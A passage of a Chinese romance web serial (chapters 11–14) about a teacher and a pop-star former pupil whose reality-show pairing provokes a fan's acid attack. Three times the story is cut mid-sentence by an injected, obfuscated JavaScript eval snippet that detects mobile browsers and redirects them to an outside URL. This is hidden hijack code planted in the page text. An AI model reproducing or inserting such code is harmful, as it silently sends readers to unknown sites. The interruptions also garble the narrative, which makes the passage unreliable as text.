郑乃宁听得一愣一愣的,脸上的八卦神情渐渐被惊讶取代,“所以,烬野就是当年那个你教过的小屁孩?” 姜雪捏了捏眉心,“是啊。” “我去!这缘分也太他妈的妙了吧!”郑乃宁一拍大腿,语气里满是磕到了的激动,“山里娃娃和支教老师久别重逢,这设定,爱了爱了!” 姜雪瞪了她一眼,“你还乱说?” “我可没胡思乱想”,郑乃宁理直气壮,“你自己没发现,他看你的眼神,藏都不藏一下。” 姜雪很无奈,“他叫我姐姐,我只是把他当弟弟看。” “弟弟?”郑乃宁笑得不怀好意,“大学时候我们不是一起追过本金榜小说吗,里面有句话,‘哥哥只是叫着玩,老公才是真心话。’” 姜雪的脸瞬间红了,“郑乃宁!” 郑乃宁哈哈大笑。她咬了一口肠粉,含糊不清地说,“说真的,烬野长得那么帅,又是大明星,追你算是你赚到了。” 姜雪想都没想就否认,“不可能,他比我小三岁。” 郑乃宁撇撇嘴,“现在这年头,姐弟恋多正常啊。你看那么多女明星,都是找比自己小的。” 姜雪:“我不是明星,我只是一个普通老师。” “老师更好,以后你们的故事被爆出来,多感人啊!”顿了顿,郑乃宁又劝道:“你离婚后一直把自己封闭起来,不能再这样下去了。” “先不说人家怎么想的”,姜雪嗤笑出声,“用一段不靠谱的恋情来治愈上一段失败的婚姻,这是什么逻辑。” 回到家中,烬野已经洗漱完毕,但依旧没有要离开的意思。他坐在沙发上,眼神专注地看着回来的姜雪,像一只等待主人垂怜的大型犬。 姜雪是个按部就班的人,这种不受控制打乱节奏的事情,让她立刻就想逃离。 她有些烦躁,“你怎么还在?” 烬野眨眨眼,抬起受伤的右手,“姐姐,昨天的伤口缝了针,还没换药……” 他的声音像是穿过十年时光,她隐约能听到那个乡村少年的影子。 她站在原地,皱了眉,“你的经纪人呢?让她送你去医院。” “毛远在忙其他事情,我下午才能联系到她”,他看着自己的伤口,“不过也没关系,我自己回去处理就好。” 他慢吞吞地起身朝门口走去。 姜雪看着他那副模样,咬了咬下唇。 作为一名一线艺人,如果伤口处理不当引发感染,后果不堪设想,更何况,这伤因她而起。 她认命般吐出口气,“等等。” 烬野立刻停下脚步,回头望向她,眼中满是期待。 “坐回去,我给你换药”,姜雪转身走向药柜, 烬野的嘴角微微上扬,又迅速恢复了可怜兮兮的表情,配合着回到沙发坐好。 姜雪拿出急救箱,将棉签、碘伏、药膏……一件件摆在茶几上。 她坐在他身边,小心翼翼地解开纱布。 “看起来恢复得不错,没有发炎的迹象”,她专注地看着伤口,没有注意到他正目不转睛地盯着她。 阳光透过窗帘的缝隙洒在她的侧脸,照亮了她认真的神情。 她轻柔地擦拭伤口周围的皮肤,涂上药膏,动作流畅而娴熟。 烬野一阵心悸,十年前那个站在讲台上的姜老师,和眼前这个为他包扎伤口的女人重叠在一起。 “你很会照顾人”,他轻声说。 “我爸是医生,从小耳濡目染”,姜雪头也不抬,继续专注于手上的工作。 烬野的心跳加速,他能闻到姜雪身上淡淡的香气,还能感受到她的指尖触碰他的皮肤。这种亲密的距离让他既紧张又欣喜。 “好了”,姜雪收拾起医疗用品,“记得定期更换敷料,保持伤口干燥。” 烬野喉结滚动着,“姐姐,你还记得支教时的事吗?” 姜雪顿了一下,眼神闪烁,“记得一些。” 烬野的声音带着怀念,“那时候,每天放学后,我都会偷偷跟着你。你去村口的小溪边看书,我就躲在不远处的大树后面。” 姜雪将急救箱放到一旁,沉默不语。 “你知道吗?你来找我说要离开村子的那天,我很难过,后来跑到镇上买了一样告别礼物,想送给你”,烬野注视着姜雪的侧脸。 “颜念潮”,姜雪突然喊他原本的名字,打断了他剩下的话,“那都是十年前的事情了。你不觉得现在提这些很奇怪吗?” 烬野的表情微微凝固,“对我来说,那不只是回忆。” 姜雪察觉到空气中微妙的变化,直觉有些事情必须说清楚。 她开门见山:“我很感谢你昨天救了我,也很同情你过去的遭遇。但是……我不会对你有超出普通朋友关系的感情,我不会喜欢比我小的男生,更不会因为你现在的身 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他走到门口,最后说了一句,“姜雪,你可以拒绝我,但是我也会用我的方式证明,真正的感情是存在的。” 姜雪关上门。 她靠在门边长舒了一口气。 她没想到事情会发展到这一步,更没想到那个曾经仰望她的少年,如今会以这样的姿态出现在她面前。 —————————— 黑色的保姆车平稳地行驶在通往新歌发布会的路上。 烬野靠在后座,闭目养神。 手机的铃声打破了车厢内的宁静。 毛远的声音有点犹豫,“下周《青春进时行》第三期录制,节目组安排了一场校级篮球赛,你……” “参加”,烬野的回答干脆利落。 “你确定?”毛远有些意外他的爽快,“篮球这种对抗性强的活动,万一受伤了,影响后面的演唱会很麻烦。” “你知道的,我平时都有健身,每周跑五个十公里。” 烬野的声音很平静,脑海中却闪过另一幅画面。 十几岁的颜念潮瘦弱矮小,常常是校园霸凌的对象。 那种无力反抗的屈辱感,像一根刺深深扎在他心里。 刚来城市那段时间,合租的有个健身爱好者,他就开始跟着人家疯狂锻炼。 他们没有钱去健身房,就利用好免费的公园健身器材。 短短几年时间,他如同被拔节的竹子,个子从一米六猛蹿到了一米八几,衬衫布料下是线条分明的腹肌。 毛远听他这么说,也不再坚持,“我稍后把球衣图样发你,你选一下。” 烬夜看着手机屏幕上的几款球衣设计,想到的却是姜雪的脸。 他点开微信上置顶的聊天框,将图片转发过去,“姐姐,帮我看看哪款好看?” 他盯着屏幕,等待着那熟悉头像的回复。 一分钟,十分钟……手机始终没有任何动静。 车窗外的阳光透过玻璃,在他深邃的眼眸中投下淡淡的阴影。 他将手机屏幕按灭,原本还带着期待的脸庞,渐渐覆上了一层冰冷的寒霜。 12. 第 12 章 比赛定在周六下午两点。姜雪吃过午饭再出门,时间有些来不及了。 她掏出手机正准备叫个车,那辆黑色的保姆车便开到了单元楼前面。 “姜老师,上车”,烬野拉开车门,语气自然得仿佛他们已经这样相处了很久。 姜雪没搭理他,继续下单叫车。可一番操作下来,她赫然发现附近叫车的队伍长得惊人。 “导演组刚发消息催了,上来吧”,烬夜再度开口,听起来仿佛只是单纯地担心迟到。 她叹了口气,最终还是上了车,“那麻烦你们了。” 她故意坐在后座,和烬野隔着一段距离,车内的气氛有些微妙的安静。 烬夜调了一下手机,蓝牙音响里传来他大热歌曲的旋律,低沉的男声吟唱着思念与等待。 姜雪努力不去思考歌词背后可能的含义,目光投向窗外飞逝的街景。 保姆车平稳地行驶着,在快要接近体育馆后门的一个僻静拐角,车速慢了下来。 姜雪看到几个戴着口罩帽子的人影,鬼鬼祟祟地等在那里,不好的直觉涌上心头。 就在车辆几乎要停稳的瞬间,一个身影猛地冲向车门。那人手里拿着一个透明的瓶子,液体在阳光下折射出危险的光。 “姜雪你这个贱人!离我们哥哥远一点!”尖锐的叫骂声刺破空气。 司机猛地踩下刹车,姜雪整个人向前倾去。 还没等她反应过来,烬野已经伸手将她护在身后。 “小心!” 散发着刺鼻气味的液体从窗外泼来,烬野转身,用背部硬生生挡下了这突如其来的袭击。 只一瞬间,液体浸透了他的外套,发出令人可怖的嘶嘶声响。 姜雪被他护在怀里,闻到外套烧焦的味道。 她挣扎着抬头,看见他后背冒着白烟,而那个情绪激动的粉丝被赶来的保安按在地上,另外几人见状立刻四散奔逃。 她脸色煞白,颤抖着要去碰烬野的后背,“脱下来!” “别动!”烬野抓住她的手,迅速将外套扔到一旁。 硫酸已经将外套腐蚀出几个洞,万幸的是,他后背的皮肤并没有直接接触到。 “没事没事”,他安抚着惊魂未定的姜雪,“我没受伤。” 她盯着那件报废的外套,不敢想象如果刚才不是烬野反应迅速,如果那瓶液体是等两人下车才泼过来…… 她回过神,掏出手机就要按下报警电话。 保姆车的车门被人从外面猛地拉开,接到消息的毛远,满脸焦灼地钻了进来。 “出什么事了?”她的视线在车内迅速扫过,当看到那件外套时,脸色大变,声音也拔高了几度。 司机简单汇报了一下情况。 毛远听罢,原本就紧绷的脸颊,更是覆上了一层寒霜。 她伸手,按住了姜雪正要拨号的手机,“姜老师,真是抱歉,让您受惊了。这件事我们来处理,不必惊动警方。” 姜雪不可思议地看着毛远,“这已经是伤害行为了,怎么能不报警呢?” 毛远再次强调:“这种极端粉丝的行为,并非第一次发生。公司有专门的团队,他们更清楚如何将负面影响降到最低。如果每次都诉诸警方,对你、对烬野、对节目、对学校,对谁都没好处。” 姜雪看向烬野,他也微微点头。 姜雪看着他那副习以为常的样子,一股无名火涌上心头,却又无处发泄。 —————————— 篮球馆内早已人声鼎沸,学生们兴奋的欢呼声此起彼伏。 聚光灯打在场地中央,晃得人有些睁不开眼。 姜雪有些格格不入地伫立在球员通道的入口。作为学校代表,此刻她的职责是为即将上场参赛选手加油。 更衣室的门扉被人推开,烬野已经换上了一身深蓝色篮球服。他肩宽腰窄,浑身散发着年轻的荷尔蒙气息。 他无视周围的惊艳视线,迈开长腿径直走向姜雪。 他微微低头,“姜老师,能帮我看看号码贴得正不正?” 姜雪迅速扫了一眼他的背后,“有点偏了。” 话一出口,她就后悔了。 果然,烬野立刻转过身,背对着她,“能帮我调整一下吗?” 这种亲密的举动在摄像机前显得格外突兀,姜雪浑身不自在。 但众目睽睽之下,任何推拒都会显得刻意而矫情。 她只得压下心头那份怪异,抚上他背后那块号码贴,试图将其摆正。 隔着一层薄薄的速干衣料,她的指尖不可避免地触碰到他的背部肌肤。那温热紧实的触感,仿佛带着电流般,让她微微一颤。 烬野满意地转了身,唇角挂着浅浅的笑意,“谢谢。” 姜雪没有回应,只是默默向后退开几步,回到自己的座位。 比赛的哨声响起。 烬野一上场,就展现出过人的运动天赋,他动作流畅,每一次起跳都充满了力量感。 汗水很快浸湿了他的额发,他随意地撩起球衣下摆擦了擦额头,结实的腹肌线条在灯光下一闪而过,引得场边无数女生发出阵阵尖叫。 “烬野!烬野!” “啊啊啊!” “老公好帅!老公看我!” 排山倒海般的欢呼声浪,一声高过一声,仿佛要掀翻整个体育馆的屋顶。 姜雪对篮球规则一窍不通,那些复杂的战术配合在她看来眼花缭乱。 她坐在嘉宾席,有些百无聊赖,索性拿出手机,点开了上一期《青春进行时》的剪辑片段。 然而,不看还好,一看之下,姜雪才发现视频里的镜头,仿佛经过精心设计一般,刻意捕捉了她和烬野的互动。 那些不经意的眼神交汇、擦肩而过的瞬间,甚至一些日常对话,都被节目组恶意剪辑,配上了煽动性的暧昧背景音乐。 弹幕更是彻底沦陷,满屏都是粉丝们自发“磕CP”的狂欢: 【眼神拉丝,不是真的是什么?!】 【年下小狼狗和知性姐姐,爱了爱了!】 【烬雪CPszd!】 【啊啊啊,我的CP发糖了!!!】 姜雪的脸色越来越难看,她终于明白今天为何会冒出一个狂热粉丝。 一股难以名状的烦躁,在她胸腔内翻腾不休。 她再也无法忍受这种被操控的感觉。 她猛地从座位上站起,一言不发地去了洗手间。 冰冷的镜面映照出姜雪此刻的模样:尽管她的妆容依旧精致,眼眸中却盛满了疲惫。 她只希望能尽快摆脱这场闹剧,回到属于自己真实的生活正轨。 她正思索着如何向节目组开口,身后便传来一阵脚步声。 毛远走了进来,脸上挂着那副职业化标准笑容:“姜老师,原来你在这里。上半场比赛马上就要结束了,你不去看看吗?” “毛小姐,我正好要找你”,她直视着毛远的眼睛,语气不带丝毫拐弯抹角,“我看了上一期节目,发现节目组在刻意引导观众误解我和烬野的关系。这不是我参与节目的目的,我希望能尊重事实。” 毛远的笑容不变:“姜老师,这是娱乐节目,适当的剪辑和包装是必要的。观众喜欢看这些,收视率也需要这些。” 姜雪坚持道:“但这会影响我的教师形象。” 毛远微微摇头:“姜老师,你太敏感了。这种程度的互动在综艺节目中非常常见,不会对你造成任何负面影响。相反,这会提升你的知名度,说不定还能带来其他资源。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15627018|172420||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 姜雪皱眉:“我不需要这些,我只想好好教书。” “那姜老师何不将这次参与,权当做一次独特的人生体验呢?”毛远的语气依旧轻松,“再说了,烬野很配合不是吗?他很少在综艺里表现得这么自然。” 姜雪沉默了。 她不知道娱乐圈里的每一个人,是否都如此精于算计,将一切都视为可以利用的筹码? 对于她而言,这个充斥着名利的浮华世界,实在是太过陌生了。 她再也没有心思回去观看比赛,径直去了休息室。 中场休息的哨声在篮球馆内回荡了好一阵,休息室的门被人猛地推开。 烬野大步流星地走了进来。他看见姜雪独自坐在角落,声音里有些委屈:“你怎么中途离场了?不等我打完球吗?” 姜雪压抑着心头的火气,尽量让自己的声音听起来平静,“烬野,关于节目剪辑的事情,我们能谈谈吗?” 烬野擦汗的动作一顿,眼神闪烁了一下,“你是指?” “你明明知道那些所谓的CP向剪辑都是节目组的恶意引导,为什么不澄清?”姜雪的声音不由自主地拔高了一些,“包括今天那个粉丝,她是冲着我来的,因为她相信我和你有什么。” 烬野放下毛巾,眼神认真地看着她,“如果我说,我希望真的有什么呢?” 姜雪难以置信地瞪大了双眼,“你到底想怎么样?” 烬野向前迈了一步,缩短两人距离,“我想和你在一起。我不觉得‘假戏真做’有什么不可以。” 姜雪只觉得一阵荒谬,“我上次已经说得很清楚了,我们之间绝对不可能!我只想做一名普通的老师,不想被卷入这些乱七八糟的事情。” 她再也不想多费半点口舌,起身离开了篮球馆。 身后,是震耳欲聋的欢呼,与烬夜逐渐黯淡下去的目光。 下半场比赛开始,烬夜的状态明显受到了影响。 姜雪刚才决绝的话语在他脑海中不断回响。 他频频失误,接连丢了好几个关键球,场上的比分差距逐渐被拉大。 姜雪站在篮球馆外面,手机屏幕上弹出了学校工作群的消息。 有人发了视频,烬野屡次投篮不中,甚至两次运球失误,被对方断球。 群里老师们开始议论纷纷: “他怎么了?前半场表现那么好。” “状态不稳定啊,这可不行,这场比赛关系到我们学校的荣誉!” 姜雪注视着视频中那个失魂落魄身影,百感交集。 她比任何人都清楚,烬野状态急转直下的原因。 事关学校形象,她再怎么不乐意,都要回去处理。 她快步返回场内,一眼便看见烬野此刻正站在三分线外。他准备投篮,但动作有些犹豫。 “烬野加油!”她用尽全身力气,汇聚了本校女生们的声音,呐喊助威。 那清亮而熟悉的声音,穿透了鼎沸人潮,清晰无比地传入了他的耳中。 他回头,对着她几不可察地点了点头。 然后,他转身面向篮筐,深吸一口气,稳稳地将球投了出去。 篮球划出一道完美的弧线,应声入网。 三分命中! 在短暂的沉寂后,整个篮球馆爆发出雷鸣般的掌声与山呼海啸的欢呼! 烬野唇角,终于重新勾勒起那抹熟悉的飞扬弧度。 接下来的比赛,他仿佛挣脱了某种无形枷锁,带领着己方队伍,疯狂地追赶着比分。 最后时刻,他接到队友传球,以一记漂亮的扣篮,锁定胜局。 比赛结束,他站在场中央,汗水浸透了球衣,映出他结实的肌肉轮廓。他没有理会周围的欢呼,而是直直地看向姜雪所在的位置。 13. 第 13 章 烬野站在场地中央,汗水浸湿的球衣紧贴着他线条分明的肌肉。 他径直走向站在场边的姜雪,声音裹挟着剧烈运动后的沙哑与喘息,“对不起!” 姜雪看着那双带着歉意的眼睛,微微一怔。 周围来来往往的学生注意到这边的动静,有人投来了好奇的目光,甚至有些手机悄悄对准了他们的方向。 她几乎能预想到,如果#顶流球场道歉#这样的标题上了热搜,又会掀起怎样的腥风血雨。 她飞快环顾四周,压低声音,“换个地方说。” 烬野顺从地点了点头。 黑色的保姆车驶离体育馆,最终停在一栋江景豪宅前。 姜雪跟着烬野走进电梯,看着数字一路攀升到顶层。 电梯门打开的瞬间,她才真正理解了“顶流”这两个字背后的奢华。 巨大的落地窗外有整个城市的璀璨夜景,室内是看似简约的现代北欧风格,但每一个细节都散发着昂贵的气息。 她环视着这个至少有两百平的豪华公寓,不由地想起自己那间不足四十平的出租屋。 墙壁上隐约可见的霉斑、吱呀作响的老旧家具,仅能容纳一人转身的逼仄厨房,甚至连一个可以看书写字的书房,都成了奢望。 鲜明的对比让她心里有些发酸。 烬野脱下外套,挂在玄关的衣架上,“今晚想吃点什么?附近那家米其林酒店可以送餐上来。” “不用了”,姜雪只想尽快结束这场令人身心俱疲的闹剧。 烬野的眉宇间掠过一丝失落。 他下意识抬手揉了揉后背,那是今天差点被硫酸泼到的地方,虽然隔着外套,但冲击力仍在。 他恰到好处地吸了口凉气,眉头也跟着皱了起来。 姜雪的目光落在他受伤的右手上,那里依旧缠着纱布,边缘似乎还渗着点点猩红。 “你的伤口怎么还没好?”她走近了些,语气不自觉地带上了急切:“你家有医药箱吗?我帮你看看。” 烬野原本黯淡下去的眼眸,重新燃起光亮。 他很快找出了医药箱,又在外卖软件上点了几样菜,“反正也要帮我处理伤口,不如先吃点东西。” 姜雪没再坚持。她接过医药箱,示意他坐到沙发上。 她拆开纱布,发现伤口周围的皮肤有些红肿,但好在没有化脓的迹象。 她一边用酒精棉球替他消毒,一边随意开口:“你平时都吃外卖?” “嗯,行程太满了,根本没有时间自己做饭”,烬野目光始终胶着在她专注的侧脸上,“不过如果下次你愿意上来,我可以下厨。我厨艺不错的。” 姜雪手上的动作一顿,没有接话。 气氛一时有些凝滞。 烬野也察觉到了,他咳了一声,再度打破沉默:“今天那个狂热粉丝的事情,确实是因为炒CP引起的。把你带进了危险,我很抱歉。” 姜雪想起毛远下午那副毫不在意她感受的样子,语气柔了一些,“这件事,也不能全怪你。” “其实很多事情,我实在身不由己”,烬野见她松口,立刻顺杆往上爬,“去年我有个演唱会,安可的时候有个女粉丝情绪很激动,结果她那个控制欲极强的男朋友一时想不开,竟然提着水果刀到后台找我,说我勾引他女朋友。那件事也是毛远动用了很多关系,才勉强压下去。” 姜雪抬头看了他一眼:“所以等这次综艺录制结束,你还是去找更懂这个圈子规则的女明星炒CP吧。我这样的普通人,真的不合适。” 烬野的脸,在她看不见的角度,瞬间黑了下来。 她竟然一点都不在意,甚至还在“好心”地为他筹划下一步。 姜雪没有注意到他的表情变化。 她处理好伤口后,被客厅角落那个巨大的酒柜吸引了视线。 里面琳琅满目地陈列着各种她叫不出名字的酒水,中间却突兀地夹了一本厚厚的《全唐诗》。 她想起烬野之前在微博上晒过这本书,当时还引发了粉丝的热议。 她走近酒柜,问:“你真的读唐诗?我还以为是你经纪公司为了营造‘文艺人设’,刻意安排的摆拍道具。” 烬野跟了过来,从酒柜上取下那本书。 书页的边缘,因为常年累月的翻动,已经有些微微的卷曲和磨损, 他没有说话,只是径直翻到了诗集的中间部分。 某一页的折叠痕迹格外深重,几乎要将纸张撕裂开来。 “莫愁千里路,自有到来风”,他以低沉的嗓音,念出这句她再熟悉不过的诗。 “真的不记得了吗?”他的目光深邃地看着她,“当年,你就是在那个漏雨的校舍里,给我念的这句诗。” 一声巨响,仿佛在姜雪的脑海深处炸开。 那些被岁月尘封的画面,骤然变得无比清晰。 她的声音有些抖:“你当年为什么要辍学?我后来还找过校长,他说你失踪了。” 烬野的眼神黯淡下来,“想送东西给你,作为支教结束的礼物。” 姜雪皱起眉头:“就为了这个?” 他的声音带着遥远的痛楚,“我记得很清楚,那时候你说要回城里了。我想送你一件礼物,一件能让你在回到那个繁华世界后,偶尔还会想起我的礼物。” “我偷偷跑去了几十里外的镇上,求那些修路、盖房子的工地老板给我一点活干。搬砖、和水泥、扛沙袋,只要能给钱,我都抢着干。” “后来……”他顿了顿,声音更低了,“我从一个工地老乡嘴里撬出个门路,黑市可以卖血,一次能给三百。” “我去卖了两次,加上打零工的钱,凑了大几百,给你买了条城里姑娘都戴的白银项链,坠子是个小小的月亮,就像你笑起来的眼睛。” “可是,回来的山路太滑,天又黑,我不小心摔下了山坡。” “等我醒来的时候,浑身都像散了架一样疼。村里人告诉我,我已经昏迷了整整一个星期,而你早就跟着学校的车,头也不回地走了。” 姜雪完全不知道,他为了给她买一件所谓的礼物,竟然付出了如此沉重的代价。 她的视线不受控制地模糊起来。 好一会儿,她才终于找回自己的声音,“颜念潮,你没必要做到这个地步,你还是要好好爱惜自己。” 他深深地看着她,看着她因为自己 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15627019|172420||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 而泛红的眼圈和满脸的愧疚。 他的眸底深处,掠过一丝近乎残忍的满足。 他呼了口气,转换话题,“我现在经济条件还可以。如果你愿意,可以搬到我这里住。这儿安保很好,不会有私生饭或者狗仔骚扰你。我可以搬出去,不会打扰到你的生活。” 姜雪一愣,随即意识到,他不仅知道她的经济状况,甚至连她离婚的事情也一清二楚。 一股被窥探隐私的不悦涌上心头,“你查了我?” 烬野沉默片刻,缓缓开口:“大半年前的一个雨夜,你跌跌撞撞地冲出斑马线,差点撞到我的车。我下车的时候,你已经跑开了,我没追上。” 姜雪身体里的血液,仿佛在瞬间凝固。 那是她三观崩塌的夜晚,王思达虚伪的面孔、赵晨挑衅的眼神、还有冰冷的雨水,全部涌回她的脑海。 原来,在她最狼狈不堪的时候,他就已经见过她了。 羞耻、愤怒、委屈、不甘……各种情绪在她的胸腔里翻涌着,连着呼吸都带了痛。 她用力吸了一口气,“有酒吗?” 烬野拿出红酒,给她倒了一杯。 殷红的液体在水晶杯中轻轻晃荡,像极了那个夜晚她心头滴落的血。 姜雪端起酒杯,仰头饮了一大口,辛辣混合着果香瞬间充斥口腔。 “我和他是相亲认识的”,她低低地开口,像是在自言自语,又像是在对他说。 “那时候我刚研究生毕业,在我们那种小地方,已经算是亲戚口中的‘大龄剩女’了,我妈几乎每天都要念叨。他是律师,戴着金丝边眼镜,说话总是温声细语,对长辈也孝顺有礼貌。我觉得……嗯,至少从表面上看,还算是个不错的结婚对象。” “我们大概认识了半年不到,就稀里糊涂地领证结婚了。” 她的嘴角勾起一抹嘲讽的弧度,眼神里充满了对过去自己的鄙夷。 “可是,从领证那天开始,他对我的态度就发生了一百八十度的转变。冷淡、疏离,还有若有若无的厌恶。我们甚至没有过真正意义上的夫妻关系。” “我每次试图和他沟通,想知道是哪里出了问题。他都只会用‘工作太累了’‘身体不舒服’这种借口来搪塞我。” “我不是没怀疑过他外面有人,但我怎么也想不到,会是个男人。” 烬野听着她剖开自己那道鲜血淋漓的伤疤,握着酒杯的指节微微泛白。 他为她的遭遇感到心痛,但心底深处,却又有一丝连他自己都觉得卑劣的庆幸。 那个男人,那个曾经名正言顺拥有过她的男人,终究不是一个实质性的对手。 姜雪又端起酒杯,将剩下的小半杯红酒一饮而尽。 浓烈的酒精迅速上头,她的脸颊上,泛起两团不正常的红晕。 她觉得自己一定是喝多了,才会对着一个几乎算是“弟弟”的人,说出这些不堪的过往。 她放下酒杯,猛地站起身,“我要回去了。” 烬野也跟着站起来,“我送你。” 姜雪摆摆手,竭力让自己的声音听起来清醒一些,“你手还没好利索,后背的伤也要注意,我自己打个车就行。” 14. 第 14 章 周日的清晨,阳光透过薄纱窗帘洒进卧室,在地板上投下斑驳的光影。 姜雪揉着太阳穴从床上爬起来,宿醉的后遗症让她头痛欲裂。 昨晚那杯红酒的后劲太大了,她隐约记得自己对烬野倾诉了离婚的事情,还有那些她从未对其他男人提起过的伤痛。 该说的、不该说的,都说了,她懊恼地把脸埋进掌心。 这时候,门铃声突兀地响了起来,锲而不舍。 她随手抓了件外套披上,趿拉着拖鞋去开门。 郑乃宁穿着一身运动装,额头上挂着细密的汗珠,显然是刚晨跑完。 “姐妹,你这是怎么了?”她上下打量着姜雪,“昨晚战况很激烈啊?” 姜雪侧身让她进来,有气无力地回答:“喝了点酒,现在头疼。” “喝酒?”郑乃宁挑眉,眼中闪过八卦的光芒,“跟谁啊?该不会是那位顶流小帅哥吧?” 姜雪走向厨房,给自己倒了杯水,“别胡说。” “我可没乱猜”,郑乃宁跟着她走进厨房,从冰箱里拿出一瓶矿泉水,“昨天你们学校的篮球赛可是上了热搜,#烬野绝杀#,#女老师为烬野加油#,你以为我没看到啊?” 姜雪差点被水呛到,“什么热搜?我只是作为学校代表去的,又不是专门为他加油。” “得了吧”,郑乃宁毫不客气地在沙发上坐下,“视频里你喊他名字的那一嗓子,听得我都酥了。” 姜雪无奈地摇头,“那是因为学校的荣誉,我总不能看着比赛输了。” “所以,你们发展到哪一步了?”郑乃宁直奔主题,“别告诉我你还在纠结年龄差这种无聊问题。” 姜雪靠在沙发上,闭上眼睛,“我明确拒绝他两次了。” “拒绝?”郑乃宁夸张地捂住嘴,“我的天,雪啊,你是不是傻?那可是烬野啊!多少小姑娘哭着喊着想睡他,用网上的话说叫‘就地排卵’。你倒好,送上门都不要?” 姜雪被她逗笑了,“我对弟弟下不了手行了吧?” 郑乃宁一脸“你太不懂行情”的表情,“烬野是穿衣显瘦脱衣有肉,那公狗腰一看就体力好得很,绝对能把你伺候得舒舒服服。” 姜雪被她这露骨的言辞说得脸颊发烫,“你正经点!” “我很正经啊!”郑乃宁摊手,“食色性也,人之常情嘛。就算你不‘用’,放在家里看着都开心。” 姜雪懒得跟她争辩,起身接电话。 “嗯,好好”,她的表情逐渐严肃,“我马上过去。” 挂了电话,她对郑乃宁说:“学校临时有个紧急会议,我得回去一趟。” “周末还开会?”郑乃宁撇撇嘴,“你们学校真会压榨员工。” 姜雪快速换好衣服,扎了个马尾,“可能是关于节目的事吧。” 两人一起下楼,刚走出单元门,姜雪就看到一辆熟悉的黑色保姆车停在路边。车窗缓缓降下,露出烬野的俊脸。 “姜老师,早上好”,他微笑着打招呼,“我来接你去学校。” 郑乃宁在姜雪身后小声惊呼:“哇哦,这就是传说中的‘上赶着送上门’啊!” 姜雪有些尴尬地看了看郑乃宁,又看了看烬野,“不用了,我自己打车去就行。” “别这么见外嘛”,郑乃宁推了她一把,“人家大明星亲自来接,多少给点面子。而且我也得回家,顺路送我一下。” 烬野适时地下车,为姜雪拉开车门,“路上堵车,你自己去可能会迟到。” 在郑乃宁的怂恿和烬野的坚持下,姜雪只好上了车。她尽量让自己的语气听起来客气而疏离,“那麻烦你了。” 郑乃宁却不管那么多。 她的八卦之魂熊熊燃烧,开始打探娱乐圈的各种内幕,“哎,烬野,你和那个女明星吴若妍是什么关系啊?网上传得沸沸扬扬的。” 烬野看了姜雪一眼,“只是普通同事关系,我们合作过一首歌。” “那网上说你们一起吃饭,还一起看电影呢?”郑乃宁继续追问。 “那是公司安排的活动,为了宣传新歌”,烬野其实很感激郑乃宁提出这个问题。他补充道:“这在娱乐圈很常见。” 郑乃宁点点头,又抛出新问题:“那你和李明轩的不和传闻是真的吗?说你们两个因为资源竞争闹得很僵。” 烬野笑了笑,“我和他私下关系很好,那些都是媒体炒作。” “那上次那个谁谁谁的瓜,是不是真的啊?” “还有那个女明星,她是不是真的整容了?我看她以前照片跟现在差好多。” …… 出乎姜雪意料的,烬野并没有表现出丝毫不耐烦。他一一解答,偶尔还会爆出一些无伤大雅的小料,听得郑乃宁眉飞色舞,兴奋不已。 到了校门口,郑乃宁与他们道别,临走前还不忘对她挤眉弄眼。 会议室里已经坐了不少人,节目组和几个参演明星都来了,黄丽也在其中。 姜雪和烬野是最后到的,所有人的目光都集中在他们身上。 “不好意思,来晚了”,姜雪有些不自在地道歉。 导演挥挥手,示意他们坐下,“没关系,会议还没正式开始。” 姜雪找了个角落的位置坐下,烬野自然地坐在了她旁边。 “各位”,导演清了清嗓子,环视会议室,“今天临时召集大家,是因为我们节目有一些变动需要讨论。李晓臻老师因为个人原因,后续将不再参与节目录制。” “是的”,黄丽立刻接口:“李老师家里出了些事情,需要请长假。” 姜雪听着这统一的口径,心知肚明。 “所以,我们现在有两个备选方案”,导演看向姜雪,“第一,由姜老师接替李老师原来的班主任角色,负责节目的主要流程推进,相当于主持人。” 姜雪眉头立刻蹙了起来。她本来就不想过多暴露在镜头前,现在让她当主持,简直是要她的命。 “或者”,导演继续说道,“我们可以调整一下节目主题,第四期就以‘校园大考’为内容,展现同学们真实的学习状态 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15627020|172420||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,还有明星嘉宾们重回考场的趣味性。” 会议室里响起阵阵议论。 “考什么试啊?”吴若妍翻了个白眼,“观众想看的是我们的日常互动,而不是埋头做题。” 另外两位明星也纷纷点头,他们显然不愿意在镜头前展示自己的学习能力。 烬野却开了口:“我觉得考试这个主题很好。” 讨论的声音停了下来,所有人的目光都转向他。 毛远皱起眉头,小声对他说:“你行不行啊?你连高中都没正经念完。” “没问题”,烬野给了她一个安心的眼神,“这种反差感,反而更能制造话题,提升收视率。” 